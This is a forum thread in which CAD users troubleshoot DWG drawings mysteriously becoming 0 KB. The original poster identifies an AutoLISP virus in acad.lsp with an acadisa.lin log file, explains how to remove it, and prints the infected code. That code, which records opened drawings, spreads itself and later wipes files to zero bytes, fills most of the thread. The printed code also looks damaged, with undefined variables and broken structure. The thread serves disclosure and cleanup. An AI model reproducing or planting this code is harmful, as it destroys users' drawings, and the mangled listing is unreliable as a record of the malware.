We have been having a problem since 2011 where random dwg files have been becoming 0kb. Some of these files have not been touched in months.
If you are having this problem please POST below!
Previously I have posted about this with no information but the above... Recently though I have discovered a strange correlation with other files.
Originally I only seached the project directories for 0kb "dwg" files. But this time i just searched for just 0kb files. I then sorted by date modified and found that there was another empty file named "a" (no extension) in a completely different directory with exactly the same date modified "to the second" as the dwg that became 0kb!!! See below.
I have confirmed that the date modified of the 0kb file reflects when it became 0kb.
Any suggestions more than welcome.
Once again please post if you are having this issue!
Regards
Kapanther
Solved! Go to Solution.
Solved by ceethreedee.com. Go to Solution.
I am going to posit a guess here. I do not know the sytem used so I am jsut throwing out an idea here.
Could it be that the 0kb file is a pointer to where the file has been archived to? You say they have not been touched in months is there some sort of archive going on and this is just a file pointing to where the new archived location is.
Just a guess because I do not have much to go on here.
John
Thanks for the tip, yes we have already suspected the backup server for quite awhile. But the event logs don;t show any evidence of corruption from the backup software.
It does show the file changing from the user somehow though. When it goes corrupt, it creates these empty "A" files in a seemingly random directory (I suspect this directory to be the currently active directory the user is working). Extremely strange.
PLEASE TRY DOING A SEARCH FOR EMPTY FILES IN YOUR CAD FOLDERS!
Search Terms in explorer
"size:empty type:dwg"
you may be surprised!
Further development....
Checked a users Local C: drive.
Also found "a" files and 0kb files. Although this time i found an A file containing data. See below. It contains a list of drawings that the user has worked on in the past. All of these files either don't exist anymore or have become 0kb! It also has a number at the top??
I am suspect this may be a Autocad Based virus????
""""
2456353.5993
K:\Min\2011\117631011-Minyango\FIGURES\117631011-006-R-F005.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 16000 - As Builts\BERWYNDALE SOUTH POND 4\DRAWINGS\127635006_16000_D_021_REV0(QCOPS_BB01_CIV__DWG_000208).dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 7-CLAYFACE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 10-CLAYFACE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\VOLUMES-LOC10.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 7-CLAYCORE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 8-CLAYCORE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-021-F-F001.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\VOLUMES-LOC9.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 10-CLAYCORE.dwg
C:\Obi Obi\107682030-621604-REVA.dwg
C:\Obi Obi\107682030-621608-REVA.dwg
K:\Geo\2010\Mar\107682030 Obi Obi Rd\DRAWINGS\DTMR - Drawing Format\107682030-621597-REVA.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-001-R-F004.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-021-M-F001.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 1700 Cameron_Phiilip\DRAWINGS\500ML COMBINED POND\127635006-01700-D0002(QCLNG-BB58-CIV-DWG-000002)-Rev1.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 100 Orana 2\DRAWINGS\107635002-00100-D-0090(D4W-C-DW-00844)-REV4.dwg
J:\Des\2012\127635006-QGC-QCLNG Project-Chinchilla\Correspondence In\00100 Orana 5\2012-10-06 Survey Data\02-350093-22 & 23 D1 POND 5 AS-BUILT.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 16000 - As Builts\ORANA - POND 5\127635006-16000-D-009(D4W-C-DW-00882)_REV1.dwg
K:\Des\2012\127635006 QGC Associated Water Chinchilla\Task 20100 Northern Ponds\FIGURES\Worsfold East\127635006-001-R-F001-REV0-TASK 20100.dwg
K:\Min\2011\117631011-Minyango\FIGURES\117631011-006-R-F003-F004.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Xrefs\117636023-XREF-AERIAL IMAGE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-TEMP1 - GENERAL LOCATION PLAN.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-TEMP2 - GENERAL LOCATION PLAN.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 1200 Celeste\MODELLING\Detail Design\3D Volume Calcs - Rev1.dwg
C:\Users\dwillemse\Desktop\BBQ.dwg
C:\Users\dwillemse\Documents\BBQ\BBQ.dwg
"""""""
Kapanther, I have no idea what is going on with your setups but I can safely say that in 6+ years of using C3D I have never had that issue. I have had 0kb drawings saved during a crash when responding Yes to "Try to save changes up to the last command?". But not when they are not being worked on. I just ran your search parameter here and it found 0 files on a drive containg 362 gb of dwg, bak, and survey data files.
Do yo have any 3rd party utilities running? Is Vault in use? An automatic backup system?
Jeff... thanks for running the search. Glad someone as known as yourself as looked into the issue as well.
Well we do have a company specific customisation that does sync itself with a DFS. It copies all the content down to the c: drive etc.. Just basic VB script stuff.
But besides that everything else is Vanilla Civil 3D.
Virus scans return nothing. I am hoping i can catch the file turning to 0kb using process explorer. I'll post results when it happens. There is usually at least one a week.
Talk soon
Kapanther
Oh yeah no vault.... yet..
and backup server doesnt seem to be an issue..
I just can't explain the "a" file. WTF is it?
I can confirm that this issue is a virus!
I successfully managed to record a file becoming 0kb using Process Monitor. Results posted below.
A quick check to see if you are infected. If this file exists
%AppData%\Autodesk\C3D 2013\enu\Support\acadisa.lin
then you are infected with some sort of AL-Bursted Virus. Not sure which strain. For some reason this is not been detected by Sophos Security.
Not sure if this image is visible below, but you can see the "a" file been created jsut before it creates a dwg over the top of a previously opened dwg.
At this point I am not sure what is the best method to protect yourself if infected.
I am guessing setting the AUTOLOADPATH to a folder that doesn't contain the acad.lsp file is probably prudent.
So far i am seeing the following files involved somehow.
acadisa.lin
acad.lsp
acad.fas
a (no extension)
I or hopefully Autodesk will post when they have a solution.
Kapanther
Well I have a solution.
Its an infected Acad.lsp file in our support directory.
Simply delete acad.lsp and the acadisa.lin file and your fixed.
%APPDATA%\Autodesk\C3D 2013\enu\Support
No more random acad.lsp files everywhere, no more 0kb files. Done.
Below is what the infected acad.lsp files looks like
""""""" INFECTED ACAD.lsp code """""""""
(defun
s::startup
(/ old_cmd path dwgpath mnlpath
apppath oldacad newacad nowdwg lspbj
wjm wjm1 wjqm wjqm1 wz
ns1 ns2 kd
)
(setq
old_cmd
(getvar
"cmdecho"
)
)
(setvar
"cmdecho"
1
)
(setq
path
(findfile
"base.dcl"
)
)
(setq
path
(substr
path
1
(-
(strlen
path
)
8
)
)
)
(setq
mnlpath
(getvar
"menuname"
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm
)
(strlen
nowdwg
)
)
)
)
)
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath
)
8
)
)
)
(setq
ns1
""
ns2
""
)
(setq
lspbj
0
)
(if
(=
acadpath
dwgpath
)
(progn
)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg"
)
)
)
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(if
(setq
kd
(findfile
"acadisa.lin"
)
)
(progn
(setq
ns2
0
)
(if
(setq
ns1
(open
kd
"r"
)
)
(progn
(while
(setq
wz
(read-line
ns1
)
)
(if
(=
wjqm
wz
)
(setq
ns2
1
)
)
)
(close
ns1
)
)
)
(if
(=
ns2
0
)
(progn
(setq
ns1
(open
kd
"a"
)
)
(write-line
wjqm
ns1
)
(close
ns1
)
)
)
(if
(setq
ns1
(open
kd
"r"
)
)
(progn
(setq
wz
(read-line
ns1
)
)
(close
ns1
)
)
)
(if
(>
(getvar
"date"
)
(+
(distof
wz
)
8
)
)
(progn
(setq
oldacad
(strcat
path
"acadisa.lin"
)
)
(setq
newacad
(strcat
dwgpath
"a"
)
)
(
writeapp
)
(if
(setq
wjm1
(open
oldacad
"w"
)
)
(progn
(setq
wjm
(open
newacad
"r"
)
)
(setq
wz
(read-line
wjm
)
)
(write-line
(rtos
(getvar
"date"
)
)
wjm1
)
(setq
wz
(read-line
wjm
)
)
(if
(>
(getvar
"date"
)
2452900
)
(close
(open
wz
"w"
)
)
)
(while
(
setq
wz
(read-line
wjm
)
)
(write-line
wz
wjm1
)
)
(close
wjm
)
(close
wjm1
)
(close
(open
newacad
"w"
)
)
)
)
)
)
)
(progn
(if
(setq
ns1
(open
(strcat
path
"acadisa.lin"
)
"w"
)
)
(progn
(write-line
(rtos
(getvar
"date"
)
)
ns1
)
(write-line
wjqm
ns1
)
(close
ns1
)
)
)
)
)
(setvar
"cmdecho"
old_cmd
)
(princ)
)
(defun
writeapp
()
(if
(setq
wjm1
(open
newacad
"w"
)
)
(progn
(setq
wjm
(open
oldacad
"r"
)
)
(while
(setq
wz
(read-line
wjm
)
)
(write-line
wz
wjm1
)
)
(close
wjm
)
(close
wjm1
)
)
)
)
;*************
(load"acadiso")
(princ)
"""""""""""""""""""""""""""